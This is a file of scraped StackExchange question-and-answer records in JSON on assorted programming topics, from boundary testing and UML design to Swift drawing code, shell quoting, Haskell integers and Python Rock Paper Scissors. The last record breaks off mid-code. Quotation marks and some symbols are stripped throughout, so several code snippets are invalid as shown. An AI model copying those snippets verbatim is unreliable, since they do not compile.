{  "id": "_softwareengineering.275069"  , "question": "I have asked on a few other sites, no response but it must be something silly as many authors mention in their books.Here is the best text I found:My ultimate question is:Why the OFF point lies INSIDE the domain when the border is open. If it is about being off the border, why cant it be outside too? EDIT: THank you for your answers. I found another contradicting article, what do you think?According to the description, the INCLUDE gravity is when t>=1. However, for the other open domain, OFF point is OUTSIDE the domain, contradicting what you all and the other articles I quoted mentioned"  , "title": "Domain analysis - why OFF points are inside of the domain when the border is open"  , "tags": "testing;math;technique;combinatorics"  , "accepted_answer": "For closed domain, both OFF and ON points are outside domain, while for open domain, the OFF point is in inside the domain. I just do not get why is that.This is incorrect. For both open and closed domain, one point is inside and one point is outside the domain. The difference is which point is inside (and which outside).To test a domain boundary, you need one point on the inside, as close to the boundary as feasible, and one point on the outside, also as close the the boundary as feasible.The point ON the boundary is by definition the closest you can get. For a closed domain, this point is defined to be the last point inside the domain and for an open domain this point is defined to be the first point that lies outside the domain.Testing with two points ON the domain boundary does not provide you any additional information, so the second point must lie OFF the boundary.If you combine the fact that you need both a point inside and a point outside the domain with where the point ON the boundary is considered to be (inside or outside), it follows logically where the point OFF the boundary should be located.As for why you need points on the two sides of the boundary, If you have two tests telling you that the values 10 and 11 are both outside the domain, that doesn't tell you if the domain is (correctly implemented as) values less than 10 or perhaps values less than 9."  } 
{  "id": "_softwareengineering.310420"  , "question": "I have to design a simple server-client model for the billing system of some fictitious restaurant. After spending about 10-15 hours on the UML diagram, I haven't gotten that far. The main issue I am struggling is with the client side OO design.The current two ideas are:Design AIn this design, I am essentially stuffing all things related to handling menus, tables and any other restaurant related object into a single class (Client). That being said, it poses a scalability issue and also violates the single responsibility principle of OO design. However, it greatly simplifies the communication between the Client class and things it needs to handle (e.g. Menus) since they are part of the Client class.Design BIn this design, tasks are much more distributed for the client side. For instance, the Client class will be dealing with restaurant objects (i.e. menu and tables) through instantiated objects rather than directly. Also, for the Menu/Table classes to access the Database class, they must go through the Client class which means there must be some communication between the Client and the Menu/Table classes. For this purpose the abstract Request class exists. It essentially stores things up in a queue which the Client class can then later on pickup.But now the design already feels convoluted especially the path that a request will take; a request will be raised in the Client class which will then passed down into an instantiated Menu/Table object, thereafter it will be picked up by the Client class hence a loop (Client --> Menu/Table --> Client).So at the end of the day, which design should I choose and how can I improve on them?"  , "title": "Improving The Design Of A Simple Restaurant Client-Server Architecture (UML Diagram)"  , "tags": "object oriented design;uml;client server"  , "accepted_answer": "Design CAt the end of the day, Design C is what I ended up using: It removes the superfluous need for the Requests class between the Client and the objects it uses compared to Design B. It is by far much more OO than Design A."  } 
{  "id": "_webapps.99473"  , "question": "When you watch a YouTube video, many of the videos have a statistics option below, where you can see the views of the video throughout time, since the video has been posted.Unfortunately, I haven't been able to access the raw data behind the graph, and I was wondering if there is any way to do this? I've looked in the YouTube API, but can't find anything there. If any of you are familiar with any way to do this, inside or outside YouTube itself (an external source would also be just fine), I would really appreciate it."  , "title": "How to access views for a given video on YouTube throughout time?"  , "tags": "youtube"  } 
{  "id": "_scicomp.23436"  , "question": "I am trying to solve Travelling Salesman Problems using tabu search. I have been able to successfully find near enough optimal solutions (as well as one optimal, yay!).For the moment I am using sub-tour reversal as the local search precedure. The basic gist of it is similar to 2-opt, but rather than swapping two cities, it reverses the subtour between and including those two cities. I.e if we have a tour [1, 2, 3, 4, 5, 6, 1] and we swap city 2 and 5 we get [1, 5, 4, 3, 2, 6, 1].However I am using two for loops to find the best neighborhood from the initial tour. But as you know, going through every single swap is a very time consuming process, which limits me to TSP problems of less than 500 cities. Anything above 1000 cities will take my program hours.So my question is, can I apply some other method than two or loops to find the best neighborhood in more efficient (fast)?For now my for loops look like this: int col = 1;for (int i = 1; i < initialSolution.length-1; i++) {    for (int j = col; j < initialSolution.length-1; j++) {        if (i == j) {            continue;        }        if ((i == 1) && (j == initialSolution.length-2)) {            continue;        }        if ((j == 1) && (i == initialSolution.length-2)) {            continue;        }        // LOCAL SEARCH PRECEDURE    }}such that I do not repeat previously reversed tours, and such that I do not reverse the whole tour."  , "title": "Alternative to two for loops in finding best neighborhoods for TSP?"  , "tags": "nonlinear programming;approximation algorithms;graph theory;java"  } 
{  "id": "_webmaster.83332"  , "question": "I received 6000+ crawler errors in my webmaster tools account. following is the one of the URL that identified as problematic URL.http://www.example.com/segment1/segment2&sa=U&ved=0CC8Q0gIoATACahUKEwiJ-Zj-oojGAhVNfLwKHTikAGM&usg=AFQjCNEbQaIDolWh4SQvTuZexjUDPDsF2gSite is developed in Codeigniter. I allowed &,= characters in Codeigniter config.php. I only used query string for pagination like ?page=1Concern 1: why google bot adds extra parameters in URLConcern 2: why it begins query string with & instead of ?Please guide me, what to do to solve this issue?"  , "title": "Google Bot Crawler Issue with Codeigniter URLS"  , "tags": "seo;web crawlers;googlebot;crawl errors"  } 
{  "id": "_webapps.100376"  , "question": "When I Google a term, I get a list of URLs.  Is there a way I can quickly visit each URL, without having to click on the link, and then click back?  Something along the lines of the way Images are displayed in an array across the page would be useful, or just some sort of frame wrapper around each page so I can click next to go to the next link quickly."  , "title": "Go to Next Google Link in Search Results"  , "tags": "google search"  } 
{  "id": "_codereview.141587"  , "question": "Here is a swift port of UIView subclass that I use often in my apps. It allows me to easily set gradients in place of the backgroundColor property, and also makes it very easy to create views that have one, two, or three rounded corners.I'm not super familiar with the mechanics behind core graphics and drawRect, so maybe some optimizations could be made? I also like to animate views a lot, but changes to the corners or gradient won't animate with UIView.animate. How can I implement that behavior?////  JFStylishView.swift//  Soapbox////  Created by Joseph Falcone on 6/2/16.//  Copyright  2016 Joseph Falcone. All rights reserved.//import UIKitpublic enum GradientType{    case linear    case radial}//private enum BackgroundFillTypepublic enum BackgroundFillType{    case solid    case gradient}@IBDesignableopen class JFStylishView : UIView{    // TODO: should all the properties be private?    // Rounded Corners    @IBInspectable var cornerRadTL : CGFloat = 0.0    @IBInspectable var cornerRadTR : CGFloat = 0.0    @IBInspectable var cornerRadBR : CGFloat = 0.0    @IBInspectable var cornerRadBL : CGFloat = 0.0    // Border    @IBInspectable var borderWidth : CGFloat = 0.0    @IBInspectable var borderColor = UIColor.clear    // Colors    private var trueBackgroundColor = UIColor.clear // The backgroundColor property has to be clear so that the layer doesn't draw behind the clipping area, so we use this to track what the user wants    private var bgColors : [CGFloat] = [] // array of colors used in drawrect    // Gradient points    @IBInspectable private var gradientStart   = CGPoint(x: 0.5, y: 0.0)    @IBInspectable private var gradientEnd     = CGPoint(x: 0.5, y: 1.0)    @IBInspectable private var gradientColorStops : [CGFloat] = []    // Gradient type    private var gradientType : GradientType = .linear    // Background Mode    private var backgroundFillType : BackgroundFillType = .solid//    var shadowLayer: CAShapeLayer! // Not ready for this yet    // MARK: Initialization    public override init(frame: CGRect)    {        super.init(frame:frame)        initStylishStuff()    }    required public init?(coder aDecoder: NSCoder)    {        super.init(coder:aDecoder)        initStylishStuff()    }    open override func awakeFromNib()    {        super.awakeFromNib()        initStylishStuff()    }    open func initStylishStuff()    {    }    // MARK: Color    private func getFillType() -> BackgroundFillType    {        // Rather than keeping a variable for this that gets set everywhere, we'll just use this getter to figure out what type we are using.        // Of course, if I get sloppy and don't make the unused elements empty when setting another fill parameter, this could produce a bug.        // RULES        // If using a gradient, trueBackgroundColor will be clear        // If using solid, bgColors will be empty        // If patterns are ever added, the above will be empty        if(bgColors.count == 0)        {return .solid}        if(trueBackgroundColor == UIColor.clear)        {return .gradient}        // Default        return .solid    }    override open var backgroundColor: UIColor?    {        get        {            return trueBackgroundColor        }        set        {            trueBackgroundColor = newValue!            super.backgroundColor = UIColor.clear            bgColors = []            backgroundFillType = .solid        }    }    // Default is linear, top to bottom    // startPoint, endPoint should be coordinates of 0.0-1.0    public func setBackgroundGradient(_ colors:[UIColor], stops:[CGFloat]? = nil, startPoint:CGPoint?=nil, endPoint:CGPoint?=nil, type:GradientType = .linear)    {        assert(colors.count > 1, At least two colors must be specified.)        // We won't be using the backgroundColor property when drawing a gradient        //trueBackgroundColor = UIColor.clearColor()        backgroundColor = UIColor.clear        // Calculate the stops if they were not specified        var stops = stops // arguments are immutable, but we can declare a variable with the same name        if(stops == nil)        {            stops = AppocalypseUI.makeLinearColorStops(colors.count)        }        // Provide default start and end points if necessary        gradientType = type        switch type        {            case .linear: // top to bottom                gradientStart  = startPoint == nil ? CGPoint.zero : startPoint!                gradientEnd    = endPoint == nil ? CGPoint(x: 0, y: 1.0) : endPoint!            case .radial: // center to top                gradientStart  = startPoint == nil ? CGPoint(x: 0.5, y: 0.5) : startPoint!                gradientEnd    = endPoint == nil ? CGPoint(x: 0.5, y: 0) : endPoint!        }        assert(colors.count == stops?.count, The number of colors and stops must be equal.)        //bgColorArr = colors        bgColors = AppocalypseUI.getFloatArrayFromUIColors(colors)        gradientColorStops = stops!    }    // MARK: Drawing    override open func draw(_ rect: CGRect)    {        // Get the current context        let context = UIGraphicsGetCurrentContext()        // Make the background gradient        let baseSpace = CGColorSpaceCreateDeviceRGB();        let gradient = CGGradient(colorSpace: baseSpace, colorComponents: bgColors, locations: gradientColorStops, count: gradientColorStops.count)        //let gradient = CGGradient(colorComponentsSpace: baseSpace, components: bgColors, locations: gradientColorStops, count: gradientColorStops.count);        // Set the border color and stroke        context?.setLineWidth(borderWidth);        context?.setStrokeColor(borderColor.cgColor);        // Fill in the background, inset by the border        // We do this weird BG Rect calc because a little bit of BG bleeds behind the border when corners are round        // As a hack, we just inset the bg a little so that it draws under the border        let bgRect      = borderWidth <= 0 ? bounds : CGRect(x: bounds.origin.x+borderWidth/2  , y: bounds.origin.y+borderWidth/2  , width: bounds.size.width-borderWidth, height: bounds.size.height-borderWidth)        let borderRect  = CGRect(x: bounds.origin.x+borderWidth/2, y: bounds.origin.y+borderWidth/2, width: bounds.size.width-borderWidth  , height: bounds.size.height-borderWidth)        let bgPath      = AppocalypseUI.newPathForRoundedRect(bgRect, radiusTL: cornerRadTL, radiusTR: cornerRadTR, radiusBL: cornerRadBL, radiusBR: cornerRadBR)        let borderPath  = AppocalypseUI.newPathForRoundedRect(borderRect, radiusTL: cornerRadTL, radiusTR: cornerRadTR, radiusBL: cornerRadBL, radiusBR: cornerRadBR)        context?.strokePath()        // Background        context?.saveGState(); // Saves the state from before we clipped to the path        context?.addPath(bgPath);        context?.clip(); // Makes the background fill only the path        switch getFillType()        {        case .gradient:            let gradientStartInPoints   = CGPoint(x: gradientStart.x*bounds.size.width, y: gradientStart.y*bounds.size.height);            let gradientEndInPoints     = CGPoint(x: gradientEnd.x*bounds.size.width, y: gradientEnd.y*bounds.size.height);            switch(gradientType)            {            case .linear:                context?.drawLinearGradient(gradient!, start: gradientStartInPoints, end: gradientEndInPoints, options: []); // Draw a vertical gradient            case .radial:                // A radial gradient might not fill the layer...first, fill it with the end color                UIColor(red: bgColors[bgColors.count-4], green: bgColors[bgColors.count-3], blue: bgColors[bgColors.count-2], alpha: bgColors[bgColors.count-1]).setFill()                context?.addPath(bgPath); // Not sure why I need this...TODO: Investigate                context?.fillPath()                let endRadius = hypot(gradientStartInPoints.x-gradientEndInPoints.x, gradientStartInPoints.y-gradientEndInPoints.y)                context?.drawRadialGradient(gradient!, startCenter: gradientStartInPoints, startRadius: 0, endCenter: gradientStartInPoints, endRadius: endRadius, options: [])            }        case .solid:            trueBackgroundColor.setFill()            context?.addPath(bgPath); // Not sure why I need this...TODO: Investigate            context?.fillPath()        }        context?.restoreGState(); // Now we are no longer clipped to the path        // Border        context?.addPath(borderPath);        context?.strokePath();    }    // MARK: Config    public func setCornerRadius(_ radius: CGFloat, corners: UIRectCorner = .allCorners)    {        if(corners.contains(.allCorners))        {            cornerRadBL = radius            cornerRadBR = radius            cornerRadTL = radius            cornerRadTR = radius            return        }        if(corners.contains(.bottomLeft))   {cornerRadBL = radius}        if(corners.contains(.bottomRight))  {cornerRadBR = radius}        if(corners.contains(.topLeft))      {cornerRadTL = radius}        if(corners.contains(.topRight))     {cornerRadTR = radius}    }}Here is the support file needed for the class to compile:////  AppocalypseUI.swift//  Soapbox////  Created by Joseph Falcone on 6/2/16.//  Copyright  2016 Joseph Falcone. All rights reserved.//import UIKitpublic class AppocalypseUI: NSObject{    /// Generates an array of CGFloat values ranging from 0.0-1.0 which represent the color stops in a gradient    public class func makeLinearColorStops(_ numStops:Int) -> [CGFloat]    {        assert(numStops >= 2, Must have at least two color stops.)        let stepIncrement = 1.0/Double(numStops-1)        var returnArr : [CGFloat] = []        // The first stop is always 0        returnArr += [0.0]        for i in 1 ..< numStops-1        {            let stepVal = stepIncrement*Double(i)            let stepFactor = CGFloat(fmod(stepVal, 1.0))            returnArr += [stepFactor]        }        // The last stop is always 1        returnArr += [1.0]        // Fini        return returnArr    }    /// Returns the stop colors in an array    public class func colorsAlongArray(_ colorArr:[UIColor], steps:Int) -> [UIColor]    {        let arrCount = colorArr.count        let stepIncrement = Double(arrCount)/Double(steps)        var returnArr : [UIColor] = []        for i in 0..<steps        {            let stepVal = stepIncrement*Double(i)            let stepFactor = CGFloat(fmod(stepVal, 1.0))            let stepIndex1 = Int(floor(stepVal/1.0))            var stepIndex2 = Int(ceil(stepVal/1.0))            if(stepIndex2 > arrCount-1)                {stepIndex2 = arrCount-1}            let color1 = colorArr[stepIndex1]            let color2 = colorArr[stepIndex2]            let color = colorByInterpolatingColors(color1, color2: color2, factor: stepFactor)            returnArr += [color]        }        return returnArr    }    /// Returns a color between two colors on a gradient    public class func colorByInterpolatingColors(_ color1:UIColor, color2:UIColor, factor:CGFloat) -> UIColor    {        /*        // components is no longer exposed for some reason...        let startComponent = color1.cgColor.components        let endComponent = color2.cgColor.components        let startAlpha = color1.cgColor.alpha        let endAlpha = color2.cgColor.alpha        let r = (startComponent?[0])! + ((endComponent?[0])! - (startComponent?[0])!) * factor        let g = (startComponent?[1])! + ((endComponent?[1])! - (startComponent?[1])!) * factor        let b = (startComponent?[2])! + ((endComponent?[2])! - (startComponent?[2])!) * factor        let a = startAlpha + (endAlpha - startAlpha) * factor        */        // Instead, we'll convert to a CIColor        let ci1 = CoreImage.CIColor(color: color1)        let ci2 = CoreImage.CIColor(color: color2)        let r = ci1.red     + (ci2.red   - ci1.red)   * factor        let g = ci1.green   + (ci2.green - ci1.green) * factor        let b = ci1.blue    + (ci2.blue  - ci1.blue)  * factor        let a = ci1.alpha   + (ci2.alpha - ci1.alpha) * factor        return UIColor(red: r, green: g, blue: b, alpha: a)    }    /// Returns an array containing the RGBA components of an array of colors    public class func getFloatArrayFromUIColors(_ colors:[UIColor]) -> [CGFloat]    {        var returnArr : [CGFloat] = []        for color : UIColor in colors        {            var red   : CGFloat = 0.0            var green : CGFloat = 0.0            var blue  : CGFloat = 0.0            var alpha : CGFloat = 0.0            color.getRed(&red, green: &green, blue: &blue, alpha: &alpha)            returnArr += [red, green, blue, alpha]        }        return returnArr    }    /// Returns a path for a rectangle with rounded corners    public class func newPathForRoundedRect(_ rect:CGRect, radiusTL radTL:CGFloat, radiusTR radTR:CGFloat, radiusBL radBL:CGFloat, radiusBR radBR:CGFloat, edges:UIRectEdge = .all) -> CGPath    {        let retPath = CGMutablePath()        // Convenience        let rectL = rect.origin.x        let rectR = rect.origin.x+rect.size.width        let rectT = rect.origin.y        let rectB = rect.origin.y+rect.size.height        /*          P2  P3        P1      P4        P8      P5          P7  P6           1.5            *         *   * 0            *           0.5            AT             *        AL *   * AR             *            AB        */        // Starting from the top left arc, move clockwise        let p1 = CGPoint(x: rectL       , y: rectT+radTL)        let p2 = CGPoint(x: rectL+radTL , y: rectT)        let p3 = CGPoint(x: rectR-radTR , y: rectT)        let p4 = CGPoint(x: rectR       , y: rectT+radTR)        let p5 = CGPoint(x: rectR       , y: rectB-radBR)        let p6 = CGPoint(x: rectR-radBR , y: rectB)        let p7 = CGPoint(x: rectL+radBL , y: rectB)        let p8 = CGPoint(x: rectL       , y: rectB-radBL)        let c1 = CGPoint(x: rect.origin.x                   , y: rect.origin.y)        let c2 = CGPoint(x: rect.origin.x+rect.size.width   , y: rect.origin.y)        let c3 = CGPoint(x: rect.origin.x+rect.size.width   , y: rect.origin.y+rect.size.height)        let c4 = CGPoint(x: rect.origin.x                   , y: rect.origin.y+rect.size.height)        /*        //let  = M_PI // The shortcut for  is Alt+P        let aT : CGFloat = CGFloat(M_PI*1.5)        let aR : CGFloat = 0        let aB : CGFloat = CGFloat(M_PI_2)        let aL : CGFloat = CGFloat(M_PI)        let cTL = CGPoint(x: rect.origin.x                 + radTL/2, y: rect.origin.y                  + radTL/2)        let cTR = CGPoint(x: rect.origin.x+rect.size.width - radTR/2, y: rect.origin.y                  + radTR/2)        let cBL = CGPoint(x: rect.origin.x                 + radBL/2, y: rect.origin.y+rect.size.height - radBL/2)        let cBR = CGPoint(x: rect.origin.x+rect.size.width - radBR/2, y: rect.origin.y+rect.size.height - radBR/2)        */        if(edges.contains(.all) || (edges.contains(.left) && edges.contains(.right) && edges.contains(.top) && edges.contains(.bottom)))        {            retPath.move(to: p1)            retPath.addArc(tangent1End: c1, tangent2End: p2, radius: radTL)            retPath.addLine(to: p3)            retPath.addArc(tangent1End: c2, tangent2End: p4, radius: radTR)            retPath.addLine(to: p5)            retPath.addArc(tangent1End: c3, tangent2End: p6, radius: radBR)            retPath.addLine(to: p7)            retPath.addArc(tangent1End: c4, tangent2End: p8, radius: radBL)            retPath.addLine(to: p1)            retPath.closeSubpath()            return retPath        }        if(edges.contains(.top))        {            retPath.move(to: p1)            retPath.addArc(tangent1End: c1, tangent2End: p2, radius: radTL)            retPath.addLine(to: p3)            retPath.addArc(tangent1End: c2, tangent2End: p4, radius: radTR)        }        if(edges.contains(.right))        {            retPath.move(to: p3)            retPath.addArc(tangent1End: c2, tangent2End: p4, radius: radTR)            retPath.addLine(to: p5)            retPath.addArc(tangent1End: c3, tangent2End: p6, radius: radBR)        }        if(edges.contains(.bottom))        {            retPath.move(to: p5)            retPath.addArc(tangent1End: c3, tangent2End: p6, radius: radBR)            retPath.addLine(to: p7)            retPath.addArc(tangent1End: c4, tangent2End: p8, radius: radBL)        }        if(edges.contains(.left))        {            retPath.move(to: p7)            retPath.addArc(tangent1End: c4, tangent2End: p8, radius: radBL)            retPath.addLine(to: p1)            retPath.addArc(tangent1End: c1, tangent2End: p2, radius: radTL)        }        return retPath    }    public class func createHorizontalArcPath(_ startPoint:CGPoint, width:CGFloat, arcHeight:CGFloat, closed:Bool = false) -> CGMutablePath    {        // http://www.raywenderlich.com/33193/core-graphics-tutorial-arcs-and-paths        let arcRect = CGRect(x: startPoint.x, y: startPoint.y-arcHeight, width: width, height: arcHeight)        let arcRadius = (arcRect.size.height/2) + (pow(arcRect.size.width, 2) / (8*arcRect.size.height));        let arcCenter = CGPoint(x: arcRect.origin.x + arcRect.size.width/2, y: arcRect.origin.y + arcRadius);        let angle = acos(arcRect.size.width / (2*arcRadius));        let startAngle = CGFloat(M_PI)+angle // (180 degrees + angle)        let endAngle = CGFloat(M_PI*2)-angle // (360 degrees - angle)        let path = CGMutablePath();        path.addArc(center: arcCenter, radius: arcRadius, startAngle: startAngle, endAngle: endAngle, clockwise: false)        if(closed == true)        {path.addLine(to: startPoint)}        return path;    }}"  , "title": "A custom UIView with gradient fill, border, and variable corner radii"  , "tags": "swift;ios;animation"  } 
{  "id": "_unix.22764"  , "question": "I'm trying to use printf to format some pretty output in a bash scripte.g.:-----------------------| This is some output |-----------------------But I've stumbled over some behavior I don't understand.$ printf -- gives me the error printf: usage: printf [-v var] format [arguments]and$ printf -stuff results in -bash: printf: -s: invalid optionSo apparently printf thinks I'm trying to pass some arguments while I'm not.Meanwhile, completely by accident, I've found this workaround:$ printf -- --- this works now ----\\n gives me --- this works now ----Can anyone explain this behavior?"  , "title": "Dashes in printf"  , "tags": "bash"  , "accepted_answer": "The -- is used to tell the program that whatever follows should not be interpreted as a command line option to printf.Edit: Thus the printf -- you tried basically ended up as printf with no arguments and therefore failed."  } 
{  "id": "_reverseengineering.6189"  , "question": "Is there a monitoring tool for Android except logcat which works like Process Monitor in Windows ?Thanks"  , "title": "How to monitor APK files in Android System"  , "tags": "tools;android;apk"  , "accepted_answer": "If you have root access in device you can use ps, also you can use /proc file system."  } 
{  "id": "_unix.378440"  , "question": "For example, I want to create an alias to remove duplicate lines:alias rm.dup  'perl -ne 'print unless $dup{$_}++;''When source .cshrc, it reports: dup: Undefined variable.If change it toalias rm.dup  'perl -ne 'print unless \\$dup{$_}++;' \\!* &'It reports: !* &: Command not found.And also tried alias rm.dup  'perl -ne 'print unless \\$dup{$_}++;''Reports: : Command not found.What's the general rule of using variable with alias?"  , "title": "How to create alias with variable in .cshrc?"  , "tags": "alias;csh"  , "accepted_answer": "alias rm.dup  'perl -ne '\\''print unless $dup{$_}++'\\'' \\!* &'Since one cannot embed a single quote within single quotes, so one way is to break out of the single quote, slip in a literal quote, then restart the quotes.'perl -ne '\\''print unless $dup{$_}++'\\'' \\!* &'|---------|B |-----------------------|D |------|     A                   C                  EAnother way is:alias rm.dup  'perl -ne print unless \\$dup{\\$_}++ \\!* &'"  } 
{  "id": "_codereview.79761"  , "question": "Inspired by this article about natural numbers from first principles in swift I implemented integers from scratch in Haskell.Besides obviously being extremely inefficient, is this code idiomatic Haskell?import Data.Listimport GHC.Realdata  = Pred  | Zero | Succ toNat = toEnum :: Int -> fromNat = fromEnum ::  -> Int  toInteger' ::  -> IntegertoInteger' Zero = 0toInteger' (Succ n) = toInteger' n + 1toInteger' (Pred n) = toInteger' n - 1instance Show  where  show = ((++) Nat: ) . show . toInteger'data SimpleNat = MinusOne | One deriving (Eq, Ord, Show)toList ::  -> [SimpleNat]toList Zero = []toList (Succ n) = One : toList ntoList (Pred n) = MinusOne : toList nfromList :: [SimpleNat] -> fromList [] = ZerofromList (One:xs) = Succ (fromList xs)fromList (MinusOne:xs) = Pred (fromList xs)normaliseList :: [SimpleNat] -> [SimpleNat]normaliseList xs = normaliseSorted $ sort xs                   where normaliseSorted xs = map fst filtered                         filtered = filter (uncurry (==)) $ zip xs (reverse xs)normalise ::  -> normalise = fromList . normaliseList . toListinstance Enum  where  succ (Pred n) = n  succ n = Succ n  pred (Succ n) = n  pred n = Pred n  toEnum n | n < 0 = Pred $ toEnum (n+1)           | n > 0 = Succ $ toEnum (n-1)           | otherwise = Zero  fromEnum Zero = 0  fromEnum (Succ n) = fromEnum n + 1  fromEnum (Pred n) = fromEnum n - 1instance Num  where  Zero + n = n  n + Zero = n  (Succ n) + m = Succ (n + m)  (Pred n) + m = Pred (n + m)  abs n = abs' $ normalise n          where abs' (Pred n) = Succ (abs' n)                abs' n = n  signum n = signum' $ normalise n             where signum' Zero = Zero                   signum' (Succ n) = Succ Zero                   signum' (Pred n) = Pred Zero  negate n = negate' $ normalise n             where negate' Zero = Zero                   negate' (Succ n) = Pred (negate' n)                   negate' (Pred n) = Succ (negate' n)  fromInteger n | n < 0 = Pred $ fromInteger (n+1)                | n > 0 = Succ $ fromInteger (n-1)                | otherwise = Zero  Zero * _ = Zero  _ * Zero = Zero  (Succ n) * m = n*m + m  (Pred n) * m = n*m - minstance Eq  where  n == m = normalise n `eq` normalise m           where Zero `eq` Zero = True                 (Succ n) `eq` (Succ m) = n `eq` m                 (Pred n) `eq` (Pred m) = n `eq` m                 _ `eq` _ = Falseinstance Ord  where  a `compare` b = normalise a `comp` normalise b                  where Zero `comp` Zero = EQ                        Zero `comp` (Succ _) = LT                        Zero `comp` (Pred _) = GT                        (Succ _) `comp` Zero = GT                        (Succ _) `comp` (Pred _) = GT                        (Pred _) `comp` Zero = LT                        (Pred _) `comp` (Succ _) = LT                        (Succ n) `comp` (Succ m) = n `comp` m                        (Pred n) `comp` (Pred m) = n `comp` minstance Real  where  toRational n = toInteger' n % 1instance Integral  where  toInteger = toInteger'  quotRem _ Zero = error divide by zero  quotRem Zero _ = (Zero, Zero)  quotRem n d | n == d = (Succ Zero,0)              | n < d = (Zero, n)              | otherwise = (Succ (fst foo), snd foo)                          where foo = (n-d) `quotRem` d"  , "title": "Integers from scratch in Haskell"  , "tags": "haskell;integer"  , "accepted_answer": "This is some good looking code, there are just a few things that throw me. The first is that you're defining the integers but occasionally referring to them as Nats. The natural numbers are non-negative integers, don't confuse the two.toNat = toEnum :: Int -> fromNat = fromEnum ::  -> IntThis is a strange construction, give the type signature before the definition of the function and GHC will figure out which version of toEnum and fromEnum to use. Anything else is unusual and unnecessary.Your Show instance should really just punt to the instance for Integers. Again, naturals numbers aren't integers so your Nat:  tag is incorrect, it doesn't really add anything, and it makes writing a Read instance more difficult. Also there's no need to section infix functions by writing them prefix style. Thus:instance Show  where    show = show . toIntegerinstance Read  where    read = fromInteger . readYour normalization function is more complex than it needs to be, but consider what having to normalize says about the representation you picked. Here's one version that doesn't change anything about your data types.normalise = fromList . uncurry tailOfLonger . partition isOne . toList    where           isOne :: SimpleNat -> Bool          isOne One = True          isOne _   = False          tailOfLonger :: [a] -> [a] -> [a]          tailOfLonger    []     ys  = ys          tailOfLonger    xs     []  = xs          tailOfLonger (_:xs) (_:ys) = tailOfLonger xs ysYou have some unnecessary pattern match cases, such as n + Zero = n in the Num instance declaration. There's nothing wrong operationally with that case of course, but it's superfluous and the beauty of the inductive construction of the integers encourages me at least to be ruthless with flensing redundant code.Here is an alternate construction that could obviate the need for all of the expensive normalization your version incurs. Writing the Num instance is pretty fun.data Nat = Zero | Succ Natdata Z = Negative Nat | NonNegative Nat"  } 
{  "id": "_codereview.2116"  , "question": "I am a newbie to Python and have started object-oriented programming recently. I have implemented a Rock Paper Scissors application in OOP. I would like for you to evaluate my code, and tell me where can I improve my code and how I can better organize the functionality.import randomclass RockPaperScissors(object):            def setUserOption(self,val):        self.__option = val    def getValueFromList(self,option):        l = ['rock','scissors','paper']        return l[option]    def __getRandomValue(self,max):        val = random.randint(1,max)        return self.getValueFromList(val-1)    def __getResult(self,t):        self.__d = {('rock','scissors'):'rock breaks scissors - User has won',('rock','paper'):'rock is captured by paper - User has won',('scissors','paper'):'Scissors cut paper - User has won',                    ('scissors','rock'):'rock breaks scissors - Computer won',('paper','rock'):'rock is captured by paper - Computer won',('paper','scissors'):'Scissors cut paper - Computer won'}        return self.__d[t]    def __computeResult(self,computerOption):        if computerOption == self.__option:            return 'The user and computer choose the same option'        else:            return self.__getResult((self.__option,computerOption))    def printResult(self):        computerOption = self.__getRandomValue(3)        print 'User choice: ',self.__option        print 'Computer choice: ',computerOption        print self.__computeResult(computerOption)if __name__ == __main__:    print 'Welcome to rock paper scissors'    print '1. Rock, 2. Paper, 3. Scissor'    val = int(raw_input('Enter your choice Number: '))    if val >=1 and val <= 3:        obj = RockPaperScissors()        obj.setUserOption(obj.getValueFromList(val-1))        obj.printResult()    else:        raise ValueError('You are supposed to enter the choice given in the menu')"  , "title": "Rock Papers Scissors in Python"  , "tags": "python;beginner;object oriented;game;rock paper scissors"  , "accepted_answer": "These answers are fantastic, but seem to be focusing on one side of your question.  I'm going to focus on object orientation.I reviewed your code with a couple basic concepts in mind, namely polymorphism and encapsulation.PolymorphismWhere are your objects?  A rock, paper, and scissors could all be objects, could they not?  And, most importantly, they are all the same kind of object.  They are all pieces of the game.Here's a pseudo-example:class Rock inherits from Element    type = 'rock'    def compare(Element)        if type == 'paper'            return 'LOSE'        elsif type == 'scissors'            return 'WIN'        else            return 'TIE'Although this is a potential solution, my example is going to go in a different direction simply for the fact that if you wanted to add more elements then you'd have to touch the existing code (re: Chris' example of RPSLS).EncapsulationA great programming muscle to exercise is encapsulation.  The two main areas, in this example, are to hide the user interface from the game code.  The user interface shouldn't care about the inner-workings of the game.  The game shouldn't care how it's displayed.  What if you wanted to change the interface to something more graphical?  Right now, your code relies on the console to know about the pieces of the game and how it works.ExampleSo, let's return to Chris' example again.  The elements of this game are something that may change quite often.  How can you handle this to make future programming easier?One solution is to store the data of the game elsewhere and dynamically create objects.The following is Python code to materialize the ideas I've written about here.Here's code for an abstracted piece of the game, an element:# The goal for an element is to just know when it wins, when it loses, and how to figure that out.class Element:    _name =     _wins = {}    _loses = {}    def get_name(self):        return self._name    def add_win(self, losingElementName, action):        self._wins[losingElementName] = action    def add_loss(self, winningElementName, action):        self._loses[winningElementName] = action    def compare(self, element):        if element.get_name() in self._wins.keys():            return self._name +   + self._wins[element.get_name()] +   + element.get_name()        elif element.get_name() in self._loses.keys():            return None        else:            return Tie    def __init__(self, name):        self._name = name        self._wins = {}        self._loses = {}Games have players:# The player's only responsibility is to make a selection from a given set. Whether it be computer or human.class Player:    _type = ''    _selection = ''    def make_selection(self, arrayOfOptions):        index = -1        if (self._type == 'Computer'):            index = random.randint(0, len(arrayOfOptions) - 1)        else:            index = int(raw_input('Enter the number of your selection: ')) - 1        self._selection = arrayOfOptions[index]        return self._type + ' selected ' + self._selection + '.'    def get_selection(self):        return self._selection    def __init__(self, playerType):        self._type = playerType        self._selection = ''Game code:# A game should have players, game pieces, and know what to do with them.class PlayGame:    _player1 = Player('Human')    _player2 = Player('Computer')    _elements = {}    def print_result(self, element1, element2):        val = element1.compare(element2)        if (val != None):            print YOU WIN! ( + val + ) # win or tie        else:            print You lose. ( + element2.compare(element1) + )    def fire_when_ready(self):        counter = 1        for e in self._elements.keys():            print str(counter) + .  + e            counter = counter + 1        print         print Shoot!        print         print self._player1.make_selection(self._elements.keys())        print self._player2.make_selection(self._elements.keys())        element1 = self._elements[self._player1.get_selection()]        element2 = self._elements[self._player2.get_selection()]        self.print_result(element1, element2)    def load_element(self, elementName1, action, elementName2):        winningElementObject = None        newElementObject = None        if (elementName1 in self._elements):            winningElementObject = self._elements[elementName1]            winningElementObject.add_win(elementName2, action)        else:            newElementObject = Element(elementName1)            newElementObject.add_win(elementName2, action)            self._elements[elementName1] = newElementObject        if (elementName2 in self._elements):            